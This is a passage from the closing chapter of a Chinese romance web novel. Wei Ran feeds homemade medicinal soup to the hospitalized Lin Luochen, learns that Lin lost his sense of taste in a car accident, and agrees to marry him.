——他是为了有一天，假使他家里人以孝道相携、要道德绑架蔚染和嘟嘟的时候，他可以堂而皇之地拒绝。 阳谋无解。 他只有这一次立住了，才能彻底掌握话语权，才能遵守约定保护好嘟嘟，才能重新堂堂正正地追求蔚染。 他答应蔚染的事他能做到了。 所以林洛宸笑了。 “那蔚染，你能跟我在一起了吗？”昨天昏过去以前，林洛宸最后说。 …… 现在。 蔚染把保温杯打开，倒出里面的汤。 汤是他亲手煲的，问过医生也查了很多资料，大补，喝了对林洛宸的身体有好处。 蔚染把碗递给病床上的人。 “尝尝。” 林洛宸看着那冒着热气的汤水，故意没接，只抬眼冲蔚染笑。 “烫。”他说。 蔚染看着碗上冒出的热气，想起刚煲好自己就把汤盛来了，这会儿的确还热着，就把碗收了回去，亲自用勺子搅动起来，试图把汤尽快弄凉。 林洛宸：“……” “有没有可能，是我想你喂我？” 蔚染：“……” 蔚染微微低下头，藏在乌黑发丝间的耳际有些发红。 最终他还是坐在床边，舀了一勺白花花的汤水，递到林洛宸嘴边。 林洛宸一边一眨不眨地看着他，一边缓缓低头就将那口汤喝了下去。 蔚染眼睛微微睁大。 出锅的时候他跟王阿姨都尝了这汤，味道不是怎么好，但这属于药膳，不好喝是正常的，与蔚染的厨艺无关，所以他还是把汤给盛来了。 蔚染觉得像这种难喝的东西，还是一口闷比较好，早点下肚才能少受点罪。 没想到林洛宸竟然一点不挑食，难喝的药膳就被他一勺一勺地喂了进去，还喝得津津有味。 一碗汤很快就见了底。 蔚染惊诧：这人是没有味觉吗？？？ 心底有了这层疑云，蔚染很快发现端倪——这人好像真没味觉，不然怎么连自己做的饭也吃得这么香？？ 之前他们一直出去吃，或是在家吃阿姨做的好东西，蔚染倒从未发现这个问题。 可现在，他觉得这个问题似乎有点严重……因为林洛宸吃他做的东西夸好吃，是真夸，都没有像嘟嘟那样是一边皱着小眉头一边夸！ “只是车祸后遗症而已。”林洛宸说。 他没想过用这件事情卖惨，但也不至于要特意隐瞒，被蔚染发现了就大方承认了。 没想到蔚染还挺在意他这个情况的，于是趁对方脸色煞白地在那里发呆的时候，林洛宸骤然伸手、把人捞了过去。 蔚染身体砸进这人怀里，吓得一动都不敢动，因为林洛宸背部的伤靠在柔软的枕头上都可能会痛，更别提再承受自己的重量了。 他不知道对方又在搞什么东西，既生气又担心弄疼他，就只能抬头瞪向对方。 然后一个吻落在了他唇上。 不再具有侵略性，而是温柔的、一点一点地啄吻，像对待什么爱不释手的珍宝一样。 半晌后，林洛宸抬手摸了摸蔚染发红的耳廓说：“味道对我来说不是什么重要的东西，我只要能闻到你身上阳光的味道就够了。” “……什么阳光的味道。” 耳朵被摸得有点痒，蔚染想躲，但又失败了，他就只能说：“谁身上会有那种味道……” 林洛宸说：“你笑起来的时候就有。” “……” “蔚染，我想你开心。” “嗯……”蔚染想起最近上网看到的，好像很多考古过他的粉丝都以为他不开心，“心疼蔚染”这个词条甚至还冲上过热搜前排。 可是蔚染真没觉得自己哪里需要心疼，也没什么不开心的，于是他还是强调说：“我没不开心。” “真的吗？” “嗯。” “那染哥，你同意跟我结婚了？” “嗯……嗯？？”等一下，这两件事情有什么关系？ 蔚染怀疑自己又断片儿了。 或者又犯迷糊了。 不然怎么想了半天，也没想到不答应的理由…… 真拿自己没办法。 “那好吧。”蔚染最后说- 正文完-魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m